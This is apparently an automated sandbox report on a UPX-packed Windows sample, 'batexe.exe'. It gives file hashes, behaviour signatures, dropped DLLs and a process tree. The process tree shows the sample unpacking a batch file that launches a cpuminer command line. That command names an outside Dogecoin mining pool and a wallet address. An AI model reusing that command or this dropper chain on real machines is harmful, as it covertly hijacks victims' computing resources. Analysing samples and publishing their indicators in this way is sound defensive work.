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Analysis

  • max time kernel
    294s
  • max time network
    302s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-ja
  • resource tags

    arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
  • submitted
    13/02/2024, 04:19

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5040
    • C:\Users\Admin\AppData\Local\Temp\A539.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\A539.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\A539.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3264
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A8A4.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4776
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:4356

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\A539.tmp\b2e.exe

    Filesize

    3.1MB

    MD5

    820be66bb6b13540348dd2ab3e9e6092

    SHA1

    7a7ba4eba7bcd2f77afdbb5ebfb44d23ffd5bfc4

    SHA256

    aa350d35f36aa19efd06617de613bde74c9049beae23e4a18b09562fce5971a9

    SHA512

    a83cf68591c2b43f286dd178a3ce231765987811f3add042e14d4f6840dea4f7ca7beda1a4910f49bf13a4867b3532e9d831f7ab0cebbc8b8520b4a7ea50a699

  • C:\Users\Admin\AppData\Local\Temp\A539.tmp\b2e.exe

    Filesize

    2.9MB

    MD5

    c6f3128c4026515a494e15efffd86fc9

    SHA1

    9c5fa95b40891b355cfab5e679bcd9a3759cc963

    SHA256

    344e2cd072ee60eb4860ade14754f750dc9c360b0bab1253092cbc23d9263f0d

    SHA512

    43387038e7904e0247bcd10f7eb82148011980f1db51130b742bda6b83976620252cdd06eb7dc2f572b72fe554d2041b0831219ba7638c9f8cd312ec3d2a89c2

  • C:\Users\Admin\AppData\Local\Temp\A8A4.tmp\batchfile.bat

    Filesize

    136B

    MD5

    8ea7ac72a10251ecfb42ef4a88bd330a

    SHA1

    c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

    SHA256

    65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

    SHA512

    a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    666KB

    MD5

    2f850374d94cc487577116bab6134908

    SHA1

    64f707c0f26c9bdac31a72b135676ab4dea2fedb

    SHA256

    c7c7580617845a47790a770fcba3bb649076baf2492d68bab89646daec24870b

    SHA512

    fb014347d32ed4f95fed3a13ca45d62fa710039dc21a54c0c7875a96a43f6a43fd1403919bdfd529501514ec42ea7c549103cb8c63383a50f3251787caf278ae

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    574KB

    MD5

    229dc3283f5b95ad4b73638e59c17e14

    SHA1

    9ade01cd5cd08150a7b2f875df509db1ed571cc1

    SHA256

    8339d02ee5b2dae90a34ac0903aea0bab2cef95069d2cd66b58dca7f83a28256

    SHA512

    5be39e4197c13735106baa03393c11121f4bf7f471a5a1def18366b494bc625ac9786673186f51992c969c9bb9ed1e5ff644031cb0b9e34e3b791cff4d569b30

  • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    755KB

    MD5

    e73d46027e4bde52855bf002f64305af

    SHA1

    560ba11f8dbe595d0ce1204a6c0d4e00e1bce438

    SHA256

    a06489b0d8371c63318deb2659bd72fe00086e134178a4ff3a89b46e9c14a330

    SHA512

    20b7f5f8cddbf4052bf75352264c8ae3d6b1f9e662dcaecc4442809be92d7b8c9a624021ffdfa306e5d14d0ef6d1f5b6b510533c926faf856821cfaa5b03f571

  • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    614KB

    MD5

    aca1a0ba4310e59447d4401600cc456a

    SHA1

    af4f156e98ae59d6f3840b6fd7b2fe062a8c59d2

    SHA256

    b0588e9e01237c1202299fcbb7bdab2ab31427731176b4ee2e90036c7c28da3d

    SHA512

    3576b09905ec7e3ed412a63355b1c1c01eee0c7b9e6570ccc02e1949ba85994e2afabb1fe5d6aaf2b48f669d132b43c2dfa025de2eb0f9f6b6d87ab398cec929

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    628KB

    MD5

    3a91b4e4ad799a6fc0f7024d30098758

    SHA1

    700a9fca1946ca9601a46445468745744a866530

    SHA256

    e1909c21d9e85ec895c05042812a6e42f0d050a5edaf993442fb7773fcddeafc

    SHA512

    81261f0fe8b1506757528b37f0e4f62608d9c1af6158701abdb052d05ab5ea040f4e395a81c9f4bfb2d984d088539ae336586909372edbdab28fd6dcb6d115f7

  • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    582KB

    MD5

    d5b1e6235d0b3401cf860165686bab48

    SHA1

    7391d2f7b6ac7331032fc0417c2733fcd14a2aab

    SHA256

    49625cde12a47437a4dc46491015f7432a342ead5aec00b3a70454532edc2e8c

    SHA512

    d1e1b3325fd572fc453d9b8a5f241fb10df1bf4c207b9d7dbe8cdda35ab9cacae45c44db27a074a987126bc393bb6a56e3d9db97a2fe1a58f0769a41cd75c932

  • \Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    553KB

    MD5

    55fd1b4a7d60c1b107af174bbe18f080

    SHA1

    dcf5b1f5f9f1e8bedbcc86b17927deb2455c5728

    SHA256

    fb20cff081b442329832de7b6bc82531d7db0bbb87eb18c65ee03eb500bb618e

    SHA512

    da8793c4325de15376558066d12e0e2b9372a46d74c0921143c7bd9cfa35a9666b04df2acb416262e846a7ad9512f9735c4dc0b1f3010dcc50c375763601c386

  • \Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    722KB

    MD5

    ecdc8f3e521f7f92a56df169acb9f241

    SHA1

    889acd8137cc5c81263af261d67377405fb3fe4b

    SHA256

    b19a2b757e34808fa6d37a6a2dcb3c40bf9022ad05dc8451cc06fa35a4deea83

    SHA512

    c334111e945fb57785746abf46c49b104088d2b2c1fb5237d0aacec9667c032f46699f40288b4fab5633215e0b21dd244af583ada24a08118627b6698c86da28

  • \Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    704KB

    MD5

    e3bef416ca033b158e59ebea2617f4c2

    SHA1

    421d143f019940baa46e90dbc29438a301fc546a

    SHA256

    8a2836d6391d96ba6b2dd40fd92a8c0fc830aec2a4db8e7b925f30501ba7d1b8

    SHA512

    4c223dd37f48ef94828b027d33fb684cb1a16422fe95f2264910a92c8e22cc1881693c044c8ac8453ed67c9c9b014edf914993654c744bf9aeb3de608e7fc024

  • \Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    513KB

    MD5

    313d75aacd30ab499d307e7b173be2e1

    SHA1

    ce47322f5cdae4c69751e6140036cb3ee7bb43ce

    SHA256

    13f830aa82475831dff3d190556a3d6f0abf2571466a0e21f273c47f057375d6

    SHA512

    a2e8ba5240e16542968f946e842a187ef2ca6517e1749ee934ecc1d8d8b67074171489fb330cb7f35a7ff9c07902f1fcddea2030d5df02b3ff8fe612802d6df0

  • \Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    606KB

    MD5

    585efec1bc1d4d916a4402c9875dff75

    SHA1

    d209613666ccac9d0ddab29a3bc59aa00a0968fa

    SHA256

    2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

    SHA512

    b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

  • memory/3264-50-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/3264-5-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/4356-41-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/4356-56-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4356-40-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4356-43-0x00000000667F0000-0x0000000066888000-memory.dmp

    Filesize

    608KB

  • memory/4356-44-0x0000000000F40000-0x00000000027F5000-memory.dmp

    Filesize

    24.7MB

  • memory/4356-101-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4356-51-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4356-42-0x0000000070800000-0x00000000708BC000-memory.dmp

    Filesize

    752KB

  • memory/4356-66-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4356-71-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4356-81-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4356-86-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4356-91-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4356-96-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5040-4-0x0000000000400000-0x000000000393A000-memory.dmp

    Filesize

    53.2MB